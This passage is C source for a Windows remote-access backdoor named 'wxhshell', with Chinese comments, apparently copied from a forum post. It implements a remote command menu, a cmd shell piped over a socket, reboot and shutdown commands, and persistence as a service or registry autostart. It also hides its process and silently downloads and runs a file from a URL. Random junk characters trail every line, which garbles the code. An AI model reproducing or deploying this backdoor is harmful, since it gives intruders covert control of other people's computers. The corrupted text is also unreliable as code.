  } fZ9EE3  
  else { )JO#Z(  
ArFsr  
    switch(cmd[0]) { Kk}|[\fW  
  m3apeIEi[  
  // 帮助 E&\dr;{7  
  case '?': { V~Zi #o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]x8_f6;D  
    break; h,Y!d]2w  
  } Quc,,#u  
  // 安装 yGNZw7^(  
  case 'i': { uCc.dluU  
    if(Install()) ;XJK*QDN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r'kUU] j9  
    else cTA8F"UGD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n{>Ge,enP0  
    break; D 8nt%vy  
    } @}#"o  
  // 卸载 Q*S|SH-cZ0  
  case 'r': { w/8`]q  
    if(Uninstall()) xbh4j!FD$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l7 +#gPA  
    else Di[}y;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZZkxEq+D  
    break; p2c4 <f-M  
    } QT1(= wK3  
  // 显示 wxhshell 所在路径 ugtzF  
  case 'p': { }Yi)r*LI3  
    char svExeFile[MAX_PATH]; dmq<vVxC  
    strcpy(svExeFile,"\n\r"); wq|~[+y  
      strcat(svExeFile,ExeFile); RL|13CG OP  
        send(wsh,svExeFile,strlen(svExeFile),0); O*hd@2hd  
    break; xvZNshkpAX  
    } qf/1a CQiP  
  // 重启 +Za ew679  
  case 'b': { ~R;9a"nr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AML8.wJ  
    if(Boot(REBOOT)) jlmP1b9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HT]v S}s  
    else { L53qQej<  
    closesocket(wsh); Q^^.@FU"x  
    ExitThread(0); ,BK6a'1J  
    } ;l^4/BR  
    break; ?;{fqeJz  
    } p*11aaIbp~  
  // 关机 :ZP4(}  
  case 'd': { [x {S ,?6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CaX0Jlk*  
    if(Boot(SHUTDOWN))  u/ Os  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~c e?xr|  
    else { [C GFzxz$  
    closesocket(wsh); .U8Se+;  
    ExitThread(0); zeqP:goy  
    } IrJPP2Q  
    break; pUvbIbg+  
    } Qg)=4(<Hr  
  // 获取shell (nhv#&Fd+  
  case 's': { br!:g]Vh  
    CmdShell(wsh); OL,3Jh% x  
    closesocket(wsh); DzZ)a E  
    ExitThread(0); tEz6B}  
    break; $rB20!  
  } |E\0Rv{H3  
  // 退出 aZ$$a+  
  case 'x': { 3pxm0|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sZ,MNF8i  
    CloseIt(wsh); _n.2'  
    break; LPjsR=xi  
    } DVu_KT[Hd  
  // 离开 +O< 0q"E  
  case 'q': { !B=Oc!e=K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;WQ@dC  
    closesocket(wsh); "J0,SFu:  
    WSACleanup(); ; Q-f6)+&  
    exit(1); fIrl?X']  
    break; aBPaC=g{HO  
        } yOn +Y  
  }  `O-LM e  
  } F{1;~Yg%  
 P]bq9!{1  
  // 提示信息 V\ ud4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O[p;IG`  
} Evz;eobW/  
  } JHY0 J &4s  
E$z)$`"1  
  return; 0> pOP  
} B,sv! p+q5  
5xZ*U  
// shell模块句柄 u$%>/cv  
int CmdShell(SOCKET sock) ,`7;S,f  
{ `aFy2x`3  
STARTUPINFO si; <1(:W[M  
ZeroMemory(&si,sizeof(si)); j@c fR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M@a?j<7P,m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zu<8%  
PROCESS_INFORMATION ProcessInfo; 1Aq*|JSk(  
char cmdline[]="cmd"; )7mX]@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y(pHt  
  return 0; Ol>"'  
} ?^z!yD\  
o E+s8Q  
// 自身启动模式 2 }QD>  
int StartFromService(void) 0y$aGAUm  
{ sPCp20x:y8  
typedef struct 9`J!]WQ1[  
{ 8ALvP}H  
  DWORD ExitStatus; -e=p*7']  
  DWORD PebBaseAddress; LGN,8v<W(  
  DWORD AffinityMask; /K mzi9j+  
  DWORD BasePriority; (wmMHo|  
  ULONG UniqueProcessId; X\SZ Q[gN  
  ULONG InheritedFromUniqueProcessId; !GkwbHr+p  
}   PROCESS_BASIC_INFORMATION; im&E \`L7  
S~1>q+<Q  
PROCNTQSIP NtQueryInformationProcess; k^q}F%UV  
bl|k6{A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z/*nY?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Si<9O h  
^7`"wj14  
  HANDLE             hProcess; 0_Hdj K  
  PROCESS_BASIC_INFORMATION pbi; 2e}${NZN  
9I>+Q&   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q]_3 #_'  
  if(NULL == hInst ) return 0; zr9o  
,s'78Dc$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KWU ~QAc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &Z682b$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <uP>  
8y}9X v  
  if (!NtQueryInformationProcess) return 0; DXlP (={*  
E3gR%t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e";r_J3w  
  if(!hProcess) return 0; U;n$  
7%Zl^c>q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4!Ez#\  
xq:.|{HUk  
  CloseHandle(hProcess); <dx xXzLT  
_//)|.6c3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bWv4'Y!p  
if(hProcess==NULL) return 0; -If-c'"G  
`fEB,0j^  
HMODULE hMod; &x{CC@g/  
char procName[255]; nu,#y"WQ  
unsigned long cbNeeded; qO=_i d  
#5GIO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (: IUg   
>_QC_UX>4i  
  CloseHandle(hProcess); VOBzB]  
u7>b}+ak&  
if(strstr(procName,"services")) return 1; // 以服务启动 CIh@H6|  
D%v4B`4ua'  
  return 0; // 注册表启动 !dB {E  
} [B9'/:  
NLFSw  
// 主模块 0bxB@(NO  
int StartWxhshell(LPSTR lpCmdLine) 3X$)cZQ  
{ .$+]N[-=  
  SOCKET wsl; ZCi~4&Z#  
BOOL val=TRUE; uhL+bj+W  
  int port=0; H4LZNko  
  struct sockaddr_in door; JicAz1P1W  
=>Y b~r71  
  if(wscfg.ws_autoins) Install(); &LE,.Q34  
Zam.g>{]  
port=atoi(lpCmdLine); ^yH!IRRAq  
s z  
if(port<=0) port=wscfg.ws_port; ]gYnw;W$  
2Yt#%bj7^  
  WSADATA data; D3V5GQ\=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W B)<B  
WO W4c&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3jPua)=p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3*$A;%q  
  door.sin_family = AF_INET; @'U9*:}U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *)k}@tY  
  door.sin_port = htons(port);  ZSq7>}  
t>|Y-i3cb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Go3EWM`Cd8  
closesocket(wsl); Tl=cniy]  
return 1; 0!F"s>(H  
} !%x8!;za  
)W)m?%  
  if(listen(wsl,2) == INVALID_SOCKET) { UKp- *YukT  
closesocket(wsl); {]plT~{e  
return 1; b:/;  
} N+x0"~T}I  
  Wxhshell(wsl); AOQimjW9a  
  WSACleanup(); /W'GX n  
U'zW; Lt  
return 0; }^WQNdws56  
<`*}$Zh  
} Pk[:+. f(  
5Jq~EB{"  
// 以NT服务方式启动 i rMZLc6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w#eD5y~'oo  
{ Y 3r m')c  
DWORD   status = 0; IlsXj`!e  
  DWORD   specificError = 0xfffffff; O{a<f7 W  
pfgFHNH:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n'=-bj`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (&0%![j&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A_1cM#4  
  serviceStatus.dwWin32ExitCode     = 0; d_=@1 JM>  
  serviceStatus.dwServiceSpecificExitCode = 0; 8RWfv}:X  
  serviceStatus.dwCheckPoint       = 0; Gwxx W   
  serviceStatus.dwWaitHint       = 0; |cStN[97%  
}$3eRu +  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K^`3Bg  
  if (hServiceStatusHandle==0) return; j?%^N\9  
'/U[ ui0{  
status = GetLastError(); ~n%~ Z|mMF  
  if (status!=NO_ERROR) xaSvjc\  
{ 5bM/ v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Zpg/T K  
    serviceStatus.dwCheckPoint       = 0; -_Pd d[M  
    serviceStatus.dwWaitHint       = 0; !Uz{dFJf;  
    serviceStatus.dwWin32ExitCode     = status; 3}=r.\]U  
    serviceStatus.dwServiceSpecificExitCode = specificError; :S}!i?n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~C=I{qzF+  
    return; TSqfl/UI  
  } D_ xPa  
!TY9\8JzV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \UM9cAX`  
  serviceStatus.dwCheckPoint       = 0; *JE%bQ2Q  
  serviceStatus.dwWaitHint       = 0; Twyx(~'&R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R/r)l<X@  
} 5=tvB,Ux4  
3TqC.S5+  
// 处理NT服务事件,比如:启动、停止 F,Q\_H##x4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Vrn. #d  
{ qPZ'n=+  
switch(fdwControl) v.:aICB5  
{ N&7= hni  
case SERVICE_CONTROL_STOP: bqp6cg\p  
  serviceStatus.dwWin32ExitCode = 0; XJy~uks,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zb.^ _A  
  serviceStatus.dwCheckPoint   = 0; ;EbGW&T  
  serviceStatus.dwWaitHint     = 0; 3Yf&F([t  
  { w2!G"oD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n4Nb,)M  
  } SLp &_S@4  
  return; P'f =r%  
case SERVICE_CONTROL_PAUSE: C( 8i0(1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W[BZ/   
  break; )=l~XV  
case SERVICE_CONTROL_CONTINUE: "a))TV%N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1oD,E!+^d  
  break; E8gXa-hv  
case SERVICE_CONTROL_INTERROGATE: B*btt+6  
  break; _#@n^c  
}; k `JP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ntbl0Sk  
} hc OT+L>  
L;zwqdI  
// 标准应用程序主函数 k8H@0p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y\K r@;q0w  
{  H"czF  
K}"xZy Tm1  
// 获取操作系统版本 x8k7y:  
OsIsNt=GetOsVer(); a5=8zO#%g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W_l/Jpv!W  
xY9 #ouF  
  // 从命令行安装 Fb=(FQ2Y?  
  if(strpbrk(lpCmdLine,"iI")) Install(); k#Qav1_  
bA}9He1  
  // 下载执行文件 |57u;  
if(wscfg.ws_downexe) { 1Q\P] -  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :8b{|}aYV  
  WinExec(wscfg.ws_filenam,SW_HIDE); {T4F0fu[eR  
} O 4zD >O  
zaWy7@?  
if(!OsIsNt) { BrF/-F  
// 如果时win9x,隐藏进程并且设置为注册表启动 nMXk1`|/)x  
HideProc(); A>WMPe:sSS  
StartWxhshell(lpCmdLine); it]im  
} YoyJnl.?u  
else m;-FP 2~  
  if(StartFromService()) h}-}!v  
  // 以服务方式启动 `G*7y7  
  StartServiceCtrlDispatcher(DispatchTable); I?` }h}7.  
else P^V,"B8t  
  // 普通方式启动 ;6S,|rC ]  
  StartWxhshell(lpCmdLine); XN9s!5A<L)  
Y~\71QE>  
return 0; :T^!<W4  
}
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只看该作者 1 发表于: 2006-10-10
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